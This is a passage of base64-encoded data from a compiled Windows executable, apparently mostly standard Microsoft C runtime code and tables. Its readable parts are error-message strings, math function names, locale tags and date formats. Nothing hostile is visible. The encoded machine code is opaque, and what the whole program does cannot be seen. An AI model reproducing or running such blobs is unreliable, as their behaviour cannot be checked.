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lvbl9kZW5pZWQAAABhZGRyZXNzX2luX3VzZQAAYWRkcmVzc19ub3RfYXZhaWxhYmxlAAAAYWRkcmVzc19mYW1pbHlfbm90X3N1cHBvcnRlZAAAAABjb25uZWN0aW9uX2FscmVhZHlfaW5fcHJvZ3Jlc3MAAGJhZF9maWxlX2Rlc2NyaXB0b3IAY29ubmVjdGlvbl9hYm9ydGVkAABjb25uZWN0aW9uX3JlZnVzZWQAAGNvbm5lY3Rpb25fcmVzZXQAAAAAZGVzdGluYXRpb25fYWRkcmVzc19yZXF1aXJlZAAAAABiYWRfYWRkcmVzcwBob3N0X3VucmVhY2hhYmxlAAAAAG9wZXJhdGlvbl9pbl9wcm9ncmVzcwAAAGludGVycnVwdGVkAGludmFsaWRfYXJndW1lbnQAAAAAYWxyZWFkeV9jb25uZWN0ZWQAAAB0b29fbWFueV9maWxlc19vcGVuAG1lc3NhZ2Vfc2l6ZQAAAABmaWxlbmFtZV90b29fbG9uZwAAAG5ldHdvcmtfZG93bgAAAABuZXR3b3JrX3Jlc2V0AAAAbmV0d29ya191bnJlYWNoYWJsZQBub19idWZmZXJfc3BhY2UAbm9fcHJvdG9jb2xfb3B0aW9uAABub3RfY29ubmVjdGVkAAAAbm90X2Ffc29ja2V0AAAAAG9wZXJhdGlvbl9ub3Rfc3VwcG9ydGVkAHByb3RvY29sX25vdF9zdXBwb3J0ZWQAAHdyb25nX3Byb3RvY29sX3R5cGUAdGltZWRfb3V0AAAAb3BlcmF0aW9uX3dvdWxkX2Jsb2NrAAAAYWRkcmVzcyBmYW1pbHkgbm90IHN1cHBvcnRlZAAAAABhZGRyZXNzIGluIHVzZQAAYWRkcmVzcyBub3QgYXZhaWxhYmxlAAAAYWxyZWFkeSBjb25uZWN0ZWQAAABhcmd1bWVudCBsaXN0IHRvbyBsb25nAABhcmd1bWVudCBvdXQgb2YgZG9tYWluAABiYWQgYWRkcmVzcwBiYWQgZmlsZSBkZXNjcmlwdG9yAGJhZCBtZXNzYWdlAGJyb2tlbiBwaXBlAGNvbm5lY3Rpb24gYWJvcnRlZAAAY29ubmVjdGlvbiBhbHJlYWR5IGluIHByb2dyZXNzAABjb25uZWN0aW9uIHJlZnVzZWQAAGNvbm5lY3Rpb24gcmVzZXQAAAAAZGVzdGluYXRpb24gYWRkcmVzcyByZXF1aXJlZAAAAABleGVjdXRhYmxlIGZvcm1hdCBlcnJvcgBmaWxlIHRvbyBsYXJnZQAAaG9zdCB1bnJlYWNoYWJsZQAAAABpZGVudGlmaWVyIHJlbW92ZWQAAGlsbGVnYWwgYnl0ZSBzZXF1ZW5jZQAAAGluYXBwcm9wcmlhdGUgaW8gY29udHJvbCBvcGVyYXRpb24AAGludmFsaWQgc2VlawAAAABpcyBhIGRpcmVjdG9yeQAAbWVzc2FnZSBzaXplAAAAAG5ldHdvcmsgZG93bgAAAABuZXR3b3JrIHJlc2V0AAAAbmV0d29yayB1bnJlYWNoYWJsZQBubyBidWZmZXIgc3BhY2UAbm8gY2hpbGQgcHJvY2VzcwAAAABubyBsaW5rAG5vIG1lc3NhZ2UgYXZhaWxhYmxlAAAAAG5vIG1lc3NhZ2UAAG5vIHByb3RvY29sIG9wdGlvbgAAbm8gc3RyZWFtIHJlc291cmNlcwBubyBzdWNoIGRldmljZSBvciBhZGRyZXNzAAAAbm8gc3VjaCBwcm9jZXNzAG5vdCBhIGRpcmVjdG9yeQBub3QgYSBzb2NrZXQAAAAAbm90IGEgc3RyZWFtAAAAAG5vdCBjb25uZWN0ZWQAAABub3Qgc3VwcG9ydGVkAAAAb3BlcmF0aW9uIGluIHByb2dyZXNzAAAAb3BlcmF0aW9uIG5vdCBwZXJtaXR0ZWQAb3BlcmF0aW9uIG5vdCBzdXBwb3J0ZWQAb3BlcmF0aW9uIHdvdWxkIGJsb2NrAAAAb3duZXIgZGVhZAAAcHJvdG9jb2wgZXJyb3IAAHByb3RvY29sIG5vdCBzdXBwb3J0ZWQAAHJlYWQgb25seSBmaWxlIHN5c3RlbQAAAHJlc291cmNlIGRlYWRsb2NrIHdvdWxkIG9jY3VyAAAAcmVzdWx0IG91dCBvZiByYW5nZQBzdGF0ZSBub3QgcmVjb3ZlcmFibGUAAABzdHJlYW0gdGltZW91dAAAdGV4dCBmaWxlIGJ1c3kAAHRpbWVkIG91dAAAAHRvbyBtYW55IGZpbGVzIG9wZW4gaW4gc3lzdGVtAAAAdG9vIG1hbnkgbGlua3MAAHRvbyBtYW55IHN5bWJvbGljIGxpbmsgbGV2ZWxzAAAAdmFsdWUgdG9vIGxhcmdlAHdyb25nIHByb3RvY29sIHR5cGUAyCNEAJAQQAA7QEEAO0BBAMAQQAAgEUAA4BBAAHwjRACQEEAAQBFAAFARQADAEEAAIBFAAOAQQADcI0QAkBBAAMARQADQEUAAwBBAACARQADgEEAAJCREAJAQQAAgEkAAMBJAAKASQAAgEUAA4BBAAFAhRAD8NEEA935BAGJhZCBhbGxvY2F0aW9uAACcIUQAITVBAPd+QQDoIUQAITVBAPd+QQA4IkQAITVBAPd+QQCIIkQAjkBBABwADQANAAoAAKY1AC8APwAAlQCkRwDgR+BH4HcAl0gA4EjgSOCNAJhJAOBJ4EnghgCZSwDgS+BL4HMAm00A4E3gTeB0AJ1PAOBP4E/gdQCfUADgUOBQ4JEAoFEA4FHgUeB2AKFSAOBS4FLgkgCiUwDgU+BT4JMAowAAAAAAAAAAGwAbABsAAAExACEAAAAAeDIAQAAAAwB5MwAjAAAAAHo0ACQAAAAAezUAJQAAAAB8NgBeAB4AAH03ACYAAAAAfjgAKgAAAAB/OQAoAAAAAIAwACkAAAAAgS0AXwAfAACCPQArAAAAAIMIAAgAfwAADgkAAA8AlAAPcQBRABEAABB3AFcAFwAAEWUARQAFAAAScgBSABIAABN0AFQAFAAAFHkAWQAZAAAVdQBVABUAABZpAEkACQAAF28ATwAPAAAYcABQABAAABlbAHsAGwAAGl0AfQAdAAAbDQANAAoAABwAAAAAAAAAAGEAQQABAAAecwBTABMAAB9kAEQABAAAIGYARgAGAAAhZwBHAAcAACJoAEgACAAAI2oASgAKAAAkawBLAAsAACVsAEwADAAAJjsAOgAAAAAnJwAiAAAAAChgAH4AAAAAKQAAAAAAAAAAXAB8ABwAAAB6AFoAGgAALHgAWAAYAAAtYwBDAAMAAC52AFYAFgAAL2IAQgACAAAwbgBOAA4AADFtAE0ADQAAMiwAPAAAAAAzLgA+AAAAADQvAD8AAAAANQAAAAAAAAAAKgAAAHIAAAAAAAAAAAAAACAAIAAgACAAAAAAAAAAAAAAOwBUAF4AaAA8AFUAXwBpAD0AVgBgAGoAPgBXAGEAawA/AFgAYgBsAEAAWQBjAG0AQQBaAGQAbgBCAFsAZQBvAEMAXABmAHAARABdAGcAcQAAAAAAAAAAAAAAAAAAAAAARzcAAHcAAABIOAAAjQAAAEk5AACEAAAAAC0AAAAAAABLNAAAcwAAAAA1AAAAAAAATTYAAHQAAAAAKwAAAAAAAE8xAAB1AAAAUDIAAJEAAABRMwAAdgAAAFIwAACSAAAAUy4AAJMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOCF4IfgieCL4IbgiOCK4IxtAHMAYwBvAHIAZQBlAC4AZABsAGwAAABDb3JFeGl0UHJvY2VzcwAA6GVEADhmRABjc23gAQAAAAAAAAAAAAAAAwAAACAFkxkAAAAAAAAAAGB9QQDQIkQAeH5BAPd+QQBVbmtub3duIGV4Y2VwdGlvbgAAAGV4cABwb3cAbG9nAGxvZzEwAAAAc2luaAAAAABjb3NoAAAAAHRhbmgAAAAAYXNpbgAAAABhY29zAAAAAGF0YW4AAAAAYXRhbjIAAABzcXJ0AAAAAHNpbgBjb3MAdGFuAGNlaWwAAAAAZmxvb3IAAABmYWJzAAAAAG1vZGYAAAAAbGRleHAAAABfY2FicwAAAF9oeXBvdAAAZm1vZAAAAABmcmV4cAAAAF95MABfeTEAX3luAF9sb2diAAAAX25leHRhZnRlcgAAFLZCACC2QgAstkIAOLZCAGoAYQAtAEoAUAAAAHoAaAAtAEMATgAAAGsAbwAtAEsAUgAAAHoAaAAtAFQAVwAAAFN1bgBNb24AVHVlAFdlZABUaHUARnJpAFNhdABTdW5kYXkAAE1vbmRheQAAVHVlc2RheQBXZWRuZXNkYXkAAABUaHVyc2RheQAAAABGcmlkYXkAAFNhdHVyZGF5AAAAAEphbgBGZWIATWFyAEFwcgBNYXkASnVuAEp1bABBdWcAU2VwAE9jdABOb3YARGVjAEphbnVhcnkARmVicnVhcnkAAAAATWFyY2gAAABBcHJpbAAAAEp1bmUAAAAASnVseQAAAABBdWd1c3QAAFNlcHRlbWJlcgAAAE9jdG9iZXIATm92ZW1iZXIAAAAARGVjZW1iZXIAAAAAQU0AAFBNAABNTS9kZC95eQAAAABkZGRkLCBNTU1NIGRkLCB5eXl5AEhIOm1tOnNzAAAAAFMAdQBuAAAATQBvAG4AAABUAHUAZQAAAFcAZQBkAAAAVABoAHUAAABGAHIAaQAAAFMAYQB0AAAAUwB1AG4AZABhAHkAAAAAAE0AbwBuAGQAYQB5AAAAAABUAHUAZQBzAGQAYQB5AAAAVwBlAGQAbgBlAHMAZABhAHkAAABUAGgAdQByAHMAZABhAHkAAAAAAEYAcgBpAGQAYQB5AAAAAABTAGEAdAB1AHIAZABhAHkAAAAAAEoAYQBuAAAARgBlAGIAAABNAGEAcgAAAEEAcAByAAAATQBhAHkAAABKAHUAbgAAAEoAdQBsAAAAQQB1AGcAAABTAGUAcAAAAE8AYwB0AAAATgBvAHYAAABEAGUAYwAAAEoAYQBuAHUAYQByAHkAAABGAGUAYgByAHUAYQByAHkAAAAAAE0AYQByAGMAaAAAAEEAcAByAGkAbAAAAEoAdQBuAGUAAAAAAEoAdQBsAHkAAAAAAEEAdQBnAHUAcwB0AAAAAABTAGUAcAB0AGUAbQBiAGUAcgAAAE8AYwB0AG8AYgBlAHIAAABOAG8AdgBlAG0AYgBlAHIAAAAAAEQAZQBjAGUAbQBiAGUAcgAAAAAAQQBNAAAAAABQAE0AAAAAAE0ATQAvAGQAZAAvAHkAeQAAAAAAZABkAGQAZAAsACAATQBNAE0ATQAgAGQAZAAsACAAeQB5AHkAeQAAAEgASAA6AG0AbQA6AHMAcwAAAAAAZQBuAC0AVQBTAAAAAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaW1xdXl9gYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXp7fH1+fwACAAAA2LpCAAgAAAA4u0IACQAAAJC7QgAKAAAA6LtCABAAAAAwvEIAEQAAAIi8QgASAAAA6LxCABMAAAAwvUIAGAAAAIi9QgAZAAAA+L1CABoAAABIvkIAGwAAALi+QgAcAAAAKL9CAB4AAAB0v0IAHwAAALi/QgAgAAAAgMBCACEAAADowEIAIgAAANjCQgB4AAAAQMNCAHkAAABgw0IAegAAAHzDQgD8AAAAmMNCAP8AAACgw0IAUgA2ADAAMAAyAA0ACgAtACAAZgBsAG8AYQB0AGkAbgBnACAAcABvAGkAbgB0ACAAcwB1AHAAcABvAHIAdAAgAG4AbwB0ACAAbABvAGEAZABlAGQADQAKAAAAAAAAAAAAUgA2ADAAMAA4AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAYQByAGcAdQBtAGUAbgB0AHMADQAKAAAAAAAAAFIANgAwADAAOQANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGUAbgB2AGkAcgBvAG4AbQBlAG4AdAANAAoAAABSADYAMAAxADAADQAKAC0AIABhAGIAbwByAHQAKAApACAAaABhAHMA